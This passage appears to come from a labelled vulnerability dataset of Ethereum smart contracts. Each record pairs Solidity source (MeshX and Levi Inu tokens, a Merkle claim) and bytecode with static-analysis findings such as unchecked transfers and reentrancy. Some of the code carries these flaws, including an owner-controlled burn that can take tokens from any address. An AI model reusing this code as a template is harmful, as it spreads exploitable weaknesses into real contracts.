Failed"); } function pullTokens(uint256 _amount) external onlyOwner{ require(dpr.transferFrom(owner, address(this), _amount), "MerkleClaim: TransferFrom failed"); } }
0x608060405234801561001057600080fd5b50600436106100ff5760003560e01c80637e0db6cc11610097578063c7fef17e11610066578063c7fef17e14610336578063ebf0c7171461033e578063f03d667214610346578063f63013aa1461034e576100ff565b80637e0db6cc146102c7578063834ee417146102e45780638863dd1a146102ec5780638da5cb5b14610312576100ff565b806348c54b9d116100d357806348c54b9d1461024d57806351cff8d91461025557806356d6e72d1461027b578063621f7b0a146102a1576100ff565b8062ec4e4a14610104578063118df67e146101be57806322d761c3146101f65780632bcc23f814610227575b600080fd5b6101bc6004803603606081101561011a57600080fd5b6001600160a01b038235169160208101359181019060608101604082013564010000000081111561014a57600080fd5b82018360208201111561015c57600080fd5b8035906020019184602083028401116401000000008311171561017e57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610356945050505050565b005b6101e4600480360360208110156101d457600080fd5b50356001600160a01b03166105ba565b60408051918252519081900360200190f35b6102136004803603602081101561020c57600080fd5b50356105cc565b604080519115158252519081900360200190f35b6102136004803603602081101561023d57600080fd5b50356001600160a01b03166105e1565b6101bc6105f6565b6101bc6004803603602081101561026b57600080fd5b50356001600160a01b031661095d565b6101e46004803603602081101561029157600080fd5b50356001600160a01b0316610ac3565b6101e4600480360360208110156102b757600080fd5b50356001600160a01b0316610ad5565b6101bc600480360360208110156102dd57600080fd5b5035610ae7565b6101e4610bda565b6101bc6004803603602081101561030257600080fd5b50356001600160a01b0316610be0565b61031a610ca6565b604080516001600160a01b039092168252519081900360200190f35b6101e4610cb5565b6101e4610cbb565b6101e4610cc1565b61031a610cf0565b6001600160a01b03831660009081526009602052604090205460ff16156103ae5760405162461bcd60e51b8152600401808060200182810382526027815260200180610ff56027913960400191505060405180910390fd5b604080516bffffffffffffffffffffffff19606086901b1660208083019190915260348083018690528351808403909101815260549092018352815191810191909120600081815260089092529190205460ff161561043e5760405162461bcd60e51b8152600401808060200182810382526027815260200180610ff56027913960400191505060405180910390fd5b61044b8260005483610cff565b61049c576040805162461bcd60e51b815260206004820152601a60248201527f4d65726b6c65436c61696d3a20566572696679206661696c6564000000000000604482015290519081900360640190fd5b6104a581610da8565b60006104b884600263ffffffff610dc316565b6001546040805163a9059cbb60e01b81526001600160a01b03898116600483015260248201859052915193945091169163a9059cbb916044808201926020929091908290030181600087803b15801561051057600080fd5b505af1158015610524573d6000803e3d6000fd5b505050506040513d602081101561053a57600080fd5b50610556905085610551868463ffffffff610e0e16565b610e50565b6001600160a01b038516600081815260096020908152604091829020805460ff191660011790558151928352820186905280517ffb9321085d4e4bed997685c66125572b6a0104e335681818c35b3b4d57726d6e9281900390910190a15050505050565b60056020526000908152604090205481565b60086020526000908152604090205460ff1681565b60096020526000908152604090205460ff1681565b33600090815260056020526040902054610657576040805162461bcd60e51b815260206004820152601e60248201527f5573657220646f6573206e6f742068617665206c6f636b207265636f72640000604482015290519081900360640190fd5b3360009081526007602090815260408083205460059092528220546106819163ffffffff610e0e16565b116106d3576040805162461bcd60e51b815260206004820152601a60248201527f616c6c20746f6b656e20686173206265656e20636c61696d6564000000000000604482015290519081900360640190fd5b60006106fd620151806106f160045442610e0e90919063ffffffff16565b9063ffffffff610dc316565b3360009081526006602052604081205491925090610721908363ffffffff610e9f16565b33600090815260056020526040902054909150811061074c5750336000908152600560205260409020545b3360009081526007602052604081205461076d90839063ffffffff610e0e16565b3360009081526007602090815260409182902085905560015482516370a0823160e01b8152306004820152925193945084936001600160a01b03909116926370a08231926024808301939192829003018186803b1580156107cd57600080fd5b505afa1580156107e1573d6000803e3d6000fd5b505050506040513d60208110156107f757600080fd5b5051101561084c576040805162461bcd60e51b815260206004820152601f60248201527f4d65726b6c65436c61696d3a2042616c616e6365206e6f7420656e6f75676800604482015290519081900360640190fd5b6001546040805163a9059cbb60e01b81523360048201526024810184905290516001600160a01b039092169163a9059cbb916044808201926020929091908290030181600087803b1580156108a057600080fd5b505af11580156108b4573d6000803e3d6000fd5b505050506040513d60208110156108ca57600080fd5b505161091d576040805162461bcd60e51b815260206004820152601c60248201527f4d65726b6c65436c61696d3a205472616e73666572204661696c656400000000604482015290519081900360640190fd5b604080513381526020810183905281517faad3ec96b23739e5c653e387e24c59f5fc4a0724c18ad1970feb0d1444981fac929181900390910190a1505050565b6002546001600160a01b0316331461097457600080fd5b600154604080516370a0823160e01b815230600482015290516001600160a01b039092169163a9059cbb91849184916370a08231916024808301926020929190829003018186803b1580156109c857600080fd5b505afa1580156109dc573d6000803e3d6000fd5b505050506040513d60208110156109f257600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b03909316600484015260248301919091525160448083019260209291908290030181600087803b158015610a4357600080fd5b505af1158015610a57573d6000803e3d6000fd5b505050506040513d6020811015610a6d57600080fd5b5051610ac0576040805162461bcd60e51b815260206004820152601c60248201527f4d65726b6c65436c61696d3a205472616e73666572204661696c656400000000604482015290519081900360640190fd5b50565b60066020526000908152604090205481565b60076020526000908152604090205481565b6002546001600160a01b03163314610afe57600080fd5b600154600254604080516323b872dd60e01b81526001600160a01b03928316600482015230602482015260448101859052905191909216916323b872dd9160648083019260209291908290030181600087803b158015610b5d57600080fd5b505af1158015610b71573d6000803e3d6000fd5b505050506040513d6020811015610b8757600080fd5b5051610ac0576040805162461bcd60e51b815260206004820181905260248201527f4d65726b6c65436c61696d3a205472616e7366657246726f6d206661696c6564604482015290519081900360640190fd5b60045481565b6002546001600160a01b03163314610bf757600080fd5b6001600160a01b038116610c52576040805162461bcd60e51b815260206004820152601860248201527f4d65726b6c65436c61696d3a2057726f6e67206f776e65720000000000000000604482015290519081900360640190fd5b600280546001600160a01b0383166001600160a01b0319909116811790915560408051918252517fcef55b6688c0d2198b4841b7c6a8247f60385b4b5ce83e22506fb3258036379b9181900360200190a150565b6002546001600160a01b031681565b60035481565b60005481565b336000908152600760209081526040808320546005909252822054610ceb9163ffffffff610e0e16565b905090565b6001546001600160a01b031681565b600081815b8551811015610d9d576000868281518110610d1b57fe5b60200260200101519050808311610d625782816040516020018083815260200182815260200192505050604051602081830303815290604052805190602001209250610d94565b808360405160200180838152602001828152602001925050506040516020818303038152906040528051906020012092505b50600101610d04565b509092149392505050565b6000908152600860205260409020805460ff19166001179055565b6000610e0583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610ef8565b90505b92915050565b6000610e0583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f9a565b6001600160a01b0382166000908152600560205260409020819055600354610e7f90829063ffffffff610dc316565b6001600160a01b0390921660009081526006602052604090209190915550565b600082610eae57506000610e08565b82820282848281610ebb57fe5b0414610e055760405162461bcd60e51b815260040180806020018281038252602181526020018061101c6021913960400191505060405180910390fd5b60008183610f845760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f49578181015183820152602001610f31565b50505050905090810190601f168015610f765780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581610f9057fe5b0495945050505050565b60008184841115610fec5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610f49578181015183820152602001610f31565b50505090039056fe4d65726b6c65436c61696d3a204163636f756e7420697320616c726561647920636c61696d6564536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a265627a7a72315820a6f2ddfc3cb37d527690f70a011b2699300938bf1e4a6bb93c431046800a60dc64736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
1,791
0x0248a296ad4a2c21b793efe777024760677331a3
pragma solidity ^0.4.24; // // MeshX Token // library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract MeshXToken { using SafeMath for uint256; string public constant name = "MeshX"; string public constant symbol = "MSX"; uint public constant decimals = 18; uint256 EthRate = 10 ** decimals; uint256 Supply = 3000000000; uint256 public totalSupply = Supply * EthRate; uint256 public minInvEth = 2 ether; uint256 public maxInvEth = 2000.0 ether; uint256 public sellStartTime = 1533052800; // 2018/8/1 uint256 public sellDeadline1 = sellStartTime + 60 days; uint256 public sellDeadline2 = sellDeadline1 + 60 days; uint256 public freezeDuration = 180 days; uint256 public ethRate1 = 3600; uint256 public ethRate2 = 3000; bool public running = true; bool public buyable = true; address owner; mapping (address => mapping (address => uint256)) allowed; mapping (address => bool) public whitelist; mapping (address => uint256) whitelistLimit; struct BalanceInfo { uint256 balance; uint256[] freezeAmount; uint256[] releaseTime; } mapping (address => BalanceInfo) balances; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event BeginRunning(); event Pause(); event BeginSell(); event PauseSell(); event Burn(address indexed burner, uint256 val); event Freeze(address indexed from, uint256 value); constructor () public{ owner = msg.sender; balances[owner].balance = totalSupply; } modifier onlyOwner() { require(msg.sender == owner); _; } modifier onlyWhitelist() { require(whitelist[msg.sender] == true); _; } modifier isRunning(){ require(running); _; } modifier isNotRunning(){ require(!running); _; } modifier isBuyable(){ require(buyable && now >= sellStartTime && now <= sellDeadline2); _; } modifier isNotBuyable(){ require(!buyable || now < sellStartTime || now > sellDeadline2); _; } // mitigates the ERC20 short address attack modifier onlyPayloadSize(uint size) { assert(msg.data.length >= size + 4); _; } // 1eth = newRate tokens function setPublicOfferPrice(uint256 _rate1, uint256 _rate2) onlyOwner public { ethRate1 = _rate1; ethRate2 = _rate2; } // function setPublicOfferLimit(uint256 _minVal, uint256 _maxVal) onlyOwner public { minInvEth = _minVal; maxInvEth = _maxVal; } function setPublicOfferDate(uint256 _startTime, uint256 _deadLine1, uint256 _deadLine2) onlyOwner public { sellStartTime = _startTime; sellDeadline1 = _deadLine1; sellDeadline2 = _deadLine2; } function transferOwnership(address _newOwner) onlyOwner public { if (_newOwner != address(0)) { owner = _newOwner; } } function pause() onlyOwner isRunning public { running = false; emit Pause(); } function start() onlyOwner isNotRunning public { running = true; emit BeginRunning(); } function pauseSell() onlyOwner isBuyable isRunning public{ buyable = false; emit PauseSell(); } function beginSell() onlyOwner isNotBuyable isRunning public{ buyable = true; emit BeginSell(); } // // _amount in MeshX, // function airDeliver(address _to, uint256 _amount) onlyOwner public { require(owner != _to); require(_amount > 0); require(balances[owner].balance >= _amount); // take big number as wei if(_amount < Supply){ _amount = _amount * EthRate; } balances[owner].balance = balances[owner].balance.sub(_amount); balances[_to].balance = balances[_to].balance.add(_amount); emit Transfer(owner, _to, _amount); } function airDeliverMulti(address[] _addrs, uint256 _amount) onlyOwner public { require(_addrs.length <= 255); for (uint8 i = 0; i < _addrs.length; i++) { airDeliver(_addrs[i], _amount); } } function airDeliverStandalone(address[] _addrs, uint256[] _amounts) onlyOwner public { require(_addrs.length <= 255); require(_addrs.length == _amounts.length); for (uint8 i = 0; i < _addrs.length; i++) { airDeliver(_addrs[i], _amounts[i]); } } // // _amount, _freezeAmount in MeshX // function freezeDeliver(address _to, uint _amount, uint _freezeAmount, uint _freezeMonth, uint _unfreezeBeginTime ) onlyOwner public { require(owner != _to); require(_freezeMonth > 0); uint average = _freezeAmount / _freezeMonth; BalanceInfo storage bi = balances[_to]; uint[] memory fa = new uint[](_freezeMonth); uint[] memory rt = new uint[](_freezeMonth); if(_amount < Supply){ _amount = _amount * EthRate; average = average * EthRate; _freezeAmount = _freezeAmount * EthRate; } require(balances[owner].balance > _amount); uint remainAmount = _freezeAmount; if(_unfreezeBeginTime == 0) _unfreezeBeginTime = now + freezeDuration; for(uint i=0;i<_freezeMonth-1;i++){ fa[i] = average; rt[i] = _unfreezeBeginTime; _unfreezeBeginTime += freezeDuration; remainAmount = remainAmount.sub(average); } fa[i] = remainAmount; rt[i] = _unfreezeBeginTime; bi.balance = bi.balance.add(_amount); bi.freezeAmount = fa; bi.releaseTime = rt; balances[owner].balance = balances[owner].balance.sub(_amount); emit Transfer(owner, _to, _amount); emit Freeze(_to, _freezeAmount); } // buy tokens directly function () external payable { buyTokens(); } // function buyTokens() payable isRunning isBuyable onlyWhitelist public { uint256 weiVal = msg.value; address investor = msg.sender; require(investor != address(0) && weiVal >= minInvEth && weiVal <= maxInvEth); require(weiVal.add(whitelistLimit[investor]) <= maxInvEth); uint256 amount = 0; if(now > sellDeadline1) amount = msg.value.mul(ethRate2); else amount = msg.value.mul(ethRate1); whitelistLimit[investor] = weiVal.add(whitelistLimit[investor]); balances[owner].balance = balances[owner].balance.sub(amount); balances[investor].balance = balances[investor].balance.add(amount); emit Transfer(owner, investor, amount); } function addWhitelist(address[] _addrs) public onlyOwner { require(_addrs.length <= 255); for (uint8 i = 0; i < _addrs.length; i++) { if (!whitelist[_addrs[i]]){ whitelist[_addrs[i]] = true; } } } function balanceOf(address _owner) constant public returns (uint256) { return balances[_owner].balance; } function freezeOf(address _owner) constant public returns (uint256) { BalanceInfo storage bi = balances[_owner]; uint freezeAmount = 0; uint t = now; for(uint i=0;i< bi.freezeAmount.length;i++){ if(t < bi.releaseTime[i]) freezeAmount += bi.freezeAmount[i]; } return freezeAmount; } function transfer(address _to, uint256 _amount) isRunning onlyPayloadSize(2 * 32) public returns (bool success) { require(_to != address(0)); uint freezeAmount = freezeOf(msg.sender); uint256 _balance = balances[msg.sender].balance.sub(freezeAmount); require(_amount <= _balance); balances[msg.sender].balance = balances[msg.sender].balance.sub(_amount); balances[_to].balance = balances[_to].balance.add(_amount); emit Transfer(msg.sender, _to, _amount); return true; } function transferFrom(address _from, address _to, uint256 _amount) isRunning onlyPayloadSize(3 * 32) public returns (bool success) { require(_from != address(0) && _to != address(0)); require(_amount <= allowed[_from][msg.sender]); uint freezeAmount = freezeOf(_from); uint256 _balance = balances[_from].balance.sub(freezeAmount); require(_amount <= _balance); balances[_from].balance = balances[_from].balance.sub(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); balances[_to].balance = balances[_to].balance.add(_amount); emit Transfer(_from, _to, _amount); return true; } function approve(address _spender, uint256 _value) isRunning public returns (bool success) { if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; } allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint256) { return allowed[_owner][_spender]; } function withdraw() onlyOwner public { address myAddress = this; require(myAddress.balance > 0); owner.transfer(myAddress.balance); emit Transfer(this, owner, myAddress.balance); } function burn(address burner, uint256 _value) onlyOwner public { require(_value <= balances[msg.sender].balance); balances[burner].balance = balances[burner].balance.sub(_value); totalSupply = totalSupply.sub(_value); Supply = totalSupply / EthRate; emit Burn(burner, _value); } }
0x6080604052600436106101cc5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146101d6578063095ea7b3146102605780630c3e564a146102985780630ea7c8cd146102ef57806318160ddd1461031357806323b872dd1461033a578063313ce5671461036457806334d05b1f1461037957806335490ee9146103a65780633ccfd60b146103c1578063440991bd146103d65780634a7084bb146103eb57806355d8bbd51461040957806370a082311461041e5780637d4ce8741461043f5780638456cb591461045457806388c7e3971461046957806395d89b411461047e5780639754a7d8146104935780639aea020b146104a85780639b19251a146104bd5780639dc29fac146104de578063a9059cbb14610502578063b885d56014610526578063be9a6555146105b4578063c20155df146105c9578063c26d0412146105de578063cb60f8b4146105f3578063cc00814d14610608578063cd4217c114610623578063d0febe4c146101cc578063d70b634214610644578063d85bd52614610659578063dd62ed3e1461066e578063e28a5e6314610695578063edac985b146106aa578063f2fde38b146106ff575b6101d4610720565b005b3480156101e257600080fd5b506101eb610934565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561022557818101518382015260200161020d565b50505050905090810190601f1680156102525780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561026c57600080fd5b50610284600160a060020a036004351660243561096b565b604080519115158252519081900360200190f35b3480156102a457600080fd5b50604080516020600480358082013583810280860185019096528085526101d4953695939460249493850192918291850190849080828437509497505093359450610a259350505050565b3480156102fb57600080fd5b506101d4600160a060020a0360043516602435610a95565b34801561031f57600080fd5b50610328610bd8565b60408051918252519081900360200190f35b34801561034657600080fd5b50610284600160a060020a0360043581169060243516604435610bde565b34801561037057600080fd5b50610328610d9e565b34801561038557600080fd5b506101d4600160a060020a0360043516602435604435606435608435610da3565b3480156103b257600080fd5b506101d46004356024356110d4565b3480156103cd57600080fd5b506101d46110fc565b3480156103e257600080fd5b506103286111af565b3480156103f757600080fd5b506101d46004356024356044356111b5565b34801561041557600080fd5b506101d46111e0565b34801561042a57600080fd5b50610328600160a060020a0360043516611277565b34801561044b57600080fd5b50610328611292565b34801561046057600080fd5b506101d4611298565b34801561047557600080fd5b506102846112fb565b34801561048a57600080fd5b506101eb611309565b34801561049f57600080fd5b506101d4611340565b3480156104b457600080fd5b506103286113d6565b3480156104c957600080fd5b50610284600160a060020a03600435166113dc565b3480156104ea57600080fd5b506101d4600160a060020a03600435166024356113f1565b34801561050e57600080fd5b50610284600160a060020a03600435166024356114d8565b34801561053257600080fd5b50604080516020600480358082013583810280860185019096528085526101d495369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a9989019892975090820195509350839250850190849080828437509497506115ee9650505050505050565b3480156105c057600080fd5b506101d4611681565b3480156105d557600080fd5b506103286116e6565b3480156105ea57600080fd5b506103286116ec565b3480156105ff57600080fd5b506103286116f2565b34801561061457600080fd5b506101d46004356024356116f8565b34801561062f57600080fd5b50610328600160a060020a0360043516611720565b34801561065057600080fd5b5061032861179c565b34801561066557600080fd5b506102846117a2565b34801561067a57600080fd5b50610328600160a060020a03600435811690602435166117ab565b3480156106a157600080fd5b506103286117d6565b3480156106b657600080fd5b50604080516020600480358082013583810280860185019096528085526101d4953695939460249493850192918291850190849080828437509497506117dc9650505050505050565b34801561070b57600080fd5b506101d4600160a060020a03600435166118b2565b600b546000908190819060ff16151561073857600080fd5b600b54610100900460ff16801561075157506005544210155b801561075f57506007544211155b151561076a57600080fd5b336000908152600d602052604090205460ff16151560011461078b57600080fd5b34925033915081158015906107a257506003548310155b80156107b057506004548311155b15156107bb57600080fd5b600454600160a060020a0383166000908152600e60205260409020546107e890859063ffffffff61191116565b11156107f357600080fd5b6000905060065442111561081c57600a5461081590349063ffffffff61191e16565b9050610833565b60095461083090349063ffffffff61191e16565b90505b600160a060020a0382166000908152600e602052604090205461085d90849063ffffffff61191116565b600160a060020a038084166000908152600e6020908152604080832094909455600b546201000090049092168152600f90915220546108a2908263ffffffff61194716565b600b54600160a060020a036201000090910481166000908152600f602052604080822093909355908416815220546108e0908263ffffffff61191116565b600160a060020a038084166000818152600f602090815260409182902094909455600b5481518681529151929462010000909104909316926000805160206119c283398151915292918290030190a3505050565b60408051808201909152600581527f4d65736858000000000000000000000000000000000000000000000000000000602082015281565b600b5460009060ff16151561097f57600080fd5b81158015906109b05750336000908152600c60209081526040808320600160a060020a038716845290915290205415155b156109bd57506000610a1f565b336000818152600c60209081526040808320600160a060020a03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060015b92915050565b600b54600090620100009004600160a060020a03163314610a4557600080fd5b825160ff1015610a5457600080fd5b5060005b82518160ff161015610a9057610a88838260ff16815181101515610a7857fe5b9060200190602002015183610a95565b600101610a58565b505050565b600b54620100009004600160a060020a03163314610ab257600080fd5b600b54600160a060020a0383811662010000909204161415610ad357600080fd5b60008111610ae057600080fd5b600b54620100009004600160a060020a03166000908152600f6020526040902054811115610b0d57600080fd5b600154811015610b1c57600054025b600b54620100009004600160a060020a03166000908152600f6020526040902054610b479082611947565b600b54600160a060020a036201000090910481166000908152600f60205260408082209390935590841681522054610b85908263ffffffff61191116565b600160a060020a038084166000818152600f602090815260409182902094909455600b5481518681529151929462010000909104909316926000805160206119c283398151915292918290030190a35050565b60025481565b600b546000908190819060ff161515610bf657600080fd5b60606064361015610c0357fe5b600160a060020a03871615801590610c235750600160a060020a03861615155b1515610c2e57600080fd5b600160a060020a0387166000908152600c60209081526040808320338452909152902054851115610c5e57600080fd5b610c6787611720565b600160a060020a0388166000908152600f6020526040902054909350610c93908463ffffffff61194716565b915081851115610ca257600080fd5b600160a060020a0387166000908152600f6020526040902054610ccb908663ffffffff61194716565b600160a060020a0388166000908152600f6020908152604080832093909355600c815282822033835290522054610d08908663ffffffff61194716565b600160a060020a038089166000908152600c602090815260408083203384528252808320949094559189168152600f9091522054610d4c908663ffffffff61191116565b600160a060020a038088166000818152600f602090815260409182902094909455805189815290519193928b16926000805160206119c283398151915292918290030190a35060019695505050505050565b601281565b600080606080600080600b60029054906101000a9004600160a060020a0316600160a060020a031633600160a060020a0316141515610de157600080fd5b600b54600160a060020a038c811662010000909204161415610e0257600080fd5b60008811610e0f57600080fd5b8789811515610e1a57fe5b049550600f60008c600160a060020a0316600160a060020a03168152602001908152602001600020945087604051908082528060200260200182016040528015610e6e578160200160208202803883390190505b50935087604051908082528060200260200182016040528015610e9b578160200160208202803883390190505b5092506001548a1015610eb957600054998a02999889029895909502945b600b54620100009004600160a060020a03166000908152600f60205260409020548a10610ee557600080fd5b889150861515610ef757600854420196505b5060005b60018803811015610f5b57858482815181101515610f1557fe5b6020908102909101015282518790849083908110610f2f57fe5b602090810290910101526008549690960195610f51828763ffffffff61194716565b9150600101610efb565b818482815181101515610f6a57fe5b6020908102909101015282518790849083908110610f8457fe5b602090810290910101528454610fa0908b63ffffffff61191116565b85558351610fb79060018701906020870190611959565b508251610fcd9060028701906020860190611959565b50600b54620100009004600160a060020a03166000908152600f6020526040902054610ff9908b611947565b600f6000600b60029054906101000a9004600160a060020a0316600160a060020a0316600160a060020a03168152602001908152602001600020600001819055508a600160a060020a0316600b60029054906101000a9004600160a060020a0316600160a060020a03166000805160206119c28339815191528c6040518082815260200191505060405180910390a3604080518a81529051600160a060020a038d16917ff97a274face0b5517365ad396b1fdba6f68bd3135ef603e44272adba3af5a1e0919081900360200190a25050505050505050505050565b600b54620100009004600160a060020a031633146110f157600080fd5b600991909155600a55565b600b54600090620100009004600160a060020a0316331461111c57600080fd5b5030600081311161112c57600080fd5b600b54604051600160a060020a036201000090920482169183163180156108fc02916000818181858888f1935050505015801561116d573d6000803e3d6000fd5b50600b5460408051600160a060020a03848116318252915162010000909304919091169130916000805160206119c2833981519152919081900360200190a350565b60085481565b600b54620100009004600160a060020a031633146111d257600080fd5b600592909255600655600755565b600b54620100009004600160a060020a031633146111fd57600080fd5b600b54610100900460ff161580611215575060055442105b80611221575060075442115b151561122c57600080fd5b600b5460ff16151561123d57600080fd5b600b805461ff0019166101001790556040517fd5b089eb0ec44264fc274d9a4adaafa6bfe78bdbeaf4b128d6871d5314057c5690600090a1565b600160a060020a03166000908152600f602052604090205490565b60045481565b600b54620100009004600160a060020a031633146112b557600080fd5b600b5460ff1615156112c657600080fd5b600b805460ff191690556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b600b54610100900460ff1681565b60408051808201909152600381527f4d53580000000000000000000000000000000000000000000000000000000000602082015281565b600b54620100009004600160a060020a0316331461135d57600080fd5b600b54610100900460ff16801561137657506005544210155b801561138457506007544211155b151561138f57600080fd5b600b5460ff1615156113a057600080fd5b600b805461ff00191690556040517fb9248e98c8764c68b0d9dd60de677553b9c38a5a521bbb362bb6f5aab6937e8990600090a1565b60075481565b600d6020526000908152604090205460ff1681565b600b54620100009004600160a060020a0316331461140e57600080fd5b336000908152600f602052604090205481111561142a57600080fd5b600160a060020a0382166000908152600f6020526040902054611453908263ffffffff61194716565b600160a060020a0383166000908152600f602052604090205560025461147f908263ffffffff61194716565b60028190556000549081151561149157fe5b04600155604080518281529051600160a060020a038416917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a25050565b600b546000908190819060ff1615156114f057600080fd5b604060443610156114fd57fe5b600160a060020a038616151561151257600080fd5b61151b33611720565b336000908152600f602052604090205490935061153e908463ffffffff61194716565b91508185111561154d57600080fd5b336000908152600f602052604090205461156d908663ffffffff61194716565b336000908152600f602052604080822092909255600160a060020a0388168152205461159f908663ffffffff61191116565b600160a060020a0387166000818152600f60209081526040918290209390935580518881529051919233926000805160206119c28339815191529281900390910190a350600195945050505050565b600b54600090620100009004600160a060020a0316331461160e57600080fd5b825160ff101561161d57600080fd5b815183511461162b57600080fd5b5060005b82518160ff161015610a9057611679838260ff1681518110151561164f57fe5b90602001906020020151838360ff1681518110151561166a57fe5b90602001906020020151610a95565b60010161162f565b600b54620100009004600160a060020a0316331461169e57600080fd5b600b5460ff16156116ae57600080fd5b600b805460ff191660011790556040517ff999e0378b31fd060880ceb4bc403bc32de3d1000bee77078a09c7f1d929a51590600090a1565b600a5481565b60095481565b60055481565b600b54620100009004600160a060020a0316331461171557600080fd5b600391909155600455565b600160a060020a0381166000908152600f602052604081208142815b6001840154811015611792576002840180548290811061175857fe5b906000526020600020015482101561178a576001840180548290811061177a57fe5b9060005260206000200154830192505b60010161173c565b5090949350505050565b60035481565b600b5460ff1681565b600160a060020a039182166000908152600c6020908152604080832093909416825291909152205490565b60065481565b600b54600090620100009004600160a060020a031633146117fc57600080fd5b815160ff101561180b57600080fd5b5060005b81518160ff1610156118ae57600d6000838360ff1681518110151561183057fe5b6020908102909101810151600160a060020a031682528101919091526040016000205460ff1615156118a6576001600d6000848460ff1681518110151561187357fe5b602090810291909101810151600160a060020a03168252810191909152604001600020805460ff19169115159190911790555b60010161180f565b5050565b600b54620100009004600160a060020a031633146118cf57600080fd5b600160a060020a0381161561190e57600b805475ffffffffffffffffffffffffffffffffffffffff0000191662010000600160a060020a038416021790555b50565b81810182811015610a1f57fe5b600082151561192f57506000610a1f565b5081810281838281151561193f57fe5b0414610a1f57fe5b60008282111561195357fe5b50900390565b828054828255906000526020600020908101928215611994579160200282015b82811115611994578251825591602001919060010190611979565b506119a09291506119a4565b5090565b6119be91905b808211156119a057600081556001016119aa565b905600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820fbf2cdf740eb4bc04f106d42862ece9a8588e0fb1e123fca758cb1f0683f3e4d0029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
1,792
0x012408ab1ebc2d81188dec52944fd9d31805880b
/** *Submitted for verification at Etherscan.io on 2022-04-12 */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract LeviInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Levi Inu"; string private constant _symbol = "LEVI"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private 